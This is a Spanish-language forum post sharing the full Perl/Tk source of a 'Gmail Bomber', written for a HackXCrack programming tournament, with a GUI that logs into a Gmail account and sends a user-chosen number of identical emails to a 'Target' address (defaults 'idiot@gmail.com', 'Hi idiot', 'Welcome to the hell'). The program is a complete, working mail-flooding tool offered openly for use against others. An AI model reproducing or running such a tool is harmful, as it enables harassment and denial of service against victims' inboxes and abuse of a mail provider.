Hola a todos , aca les traigo un gmail bomber que hice para el torneo de programacion de HackXCrack (http://www.hackxcrack.es/forum/index.php?topic=8721.0) , se trata de un simple mail bomber para Gmail , aca les dejo una imagen del programa en uso donde me envio 40 mensajes a mi cuenta
(http://doddyhackman.webcindario.com/images/bomber.jpg)
Y mi casilla quedo asi
(http://doddyhackman.webcindario.com/images/prueba.jpg)
El codigo del programa (formateado con perltidy) es
#!usr/bin/perl
#Gmail Bomber 0.2
#Dependencies
#http://search.cpan.org/~peco/Email-Send-SMTP-Gmail-0.24/lib/Email/Send/SMTP/Gmail.pm
#http://search.cpan.org/~cwest/Net-SMTP-SSL-1.01/lib/Net/SMTP/SSL.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
#http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod
use Tk;
use Win32;
use Email::Send::SMTP::Gmail;
if ( $^O eq 'MSWin32' ) {
use Win32::Console;
Win32::Console::Free();
}
my $color_fondo = "black";
my $color_texto = "green";
my $ve =
MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$ve->geometry("300x600+20+20");
$ve->resizable( 0, 0 );
$ve->title("Gmail Bomber 0.2");
$ve->Label(
-text => "Login",
-font => "Impact3",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x
=> 110, -y => 30 );
$ve->Label(
-text => "Username : ",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x
=> 20, -y => 80 ); my $user = $ve->Entry(
-width => 30,
-text => 'lagartojuancho@gmail.com',
-background => $color_fondo,
-foreground => $color_texto
)->place( -y => 83, -x
=> 85 );
$ve->Label(
-text => "Password : ",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x
=> 20, -y => 120 ); my $pass = $ve->Entry(
-show => "*",
-width => 30,
-text => 'Secret',
-background => $color_fondo,
-foreground => $color_texto
)->place( -y => 123, -x
=> 85 );
$ve->Label(
-text => "Message",
-font => "Impact3",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x
=> 110, -y => 160 );
$ve->Label(
-text => "Number : ",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x
=> 20, -y => 210 ); my $number = $ve->Entry(
-width => 5,
-text => "20",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x
=> 75, -y => 212 );
$ve->Label(
-text => "Target : ",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x
=> 20, -y => 240 ); my $to = $ve->Entry(
-text => 'idiot@gmail.com',
-width => 30,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x
=> 73, -y => 242 );
$ve->Label(
-text => "Subject : ",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x
=> 20, -y => 270 ); my $tema = $ve->Entry(
-text => "Hi idiot",
-width => 20,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x
=> 73, -y => 273 );
$ve->Label(
-text => "Body",
-font => "Impact3",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x
=> 110, -y => 310 ); my $body = $ve->Text(
-width => 30,
-height => 12,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x
=> 45, -y => 350 ); $body->insert( "end", "Welcome to the hell" );
$ve->Button(
-text => "Send",
-width => 10,
-command => \&start,
-background => $color_fondo,
-foreground => $color_texto,
-activebackground => $color_texto
)->place( -x
=> 43, -y => 550 ); $ve->Button(
-text => "About",
-width => 10,
-command => \&about,
-background => $color_fondo,
-foreground => $color_texto,
-activebackground => $color_texto
)->place( -x
=> 117, -y => 550 ); $ve->Button(
-text => "Exit",
-width => 10,
-command => [ $ve => "destroy" ],
-background => $color_fondo,
-foreground => $color_texto,
-activebackground => $color_texto
)->place( -x
=> 190, -y => 550 );
MainLoop;
sub start {
$text = $body->get( "1.0", "end" );
if (
my $mail = Email::Send::SMTP::Gmail->new(
-smtp => "gmail.com",
-login => $user->get,
-pass => $pass->get
)
)
{
for my $number ( 1 .. $number->get ) {
$ve->update;
$mail->send(
-to => $to->get,
-subject => $tema->get,
-body => $text
);
}
Win32::MsgBox( "Send", 0, "Mails Send" );
$mail->bye;
}
else {
Win32::MsgBox( "Error in the login", 0, "Error" );
}
}
sub about {
my $text =
"This program was written by Doddy H for the Tournament of Programming Perl
to forum HackxCrack";
Win32::MsgBox( $text, 0, "About" );
}
#The End ?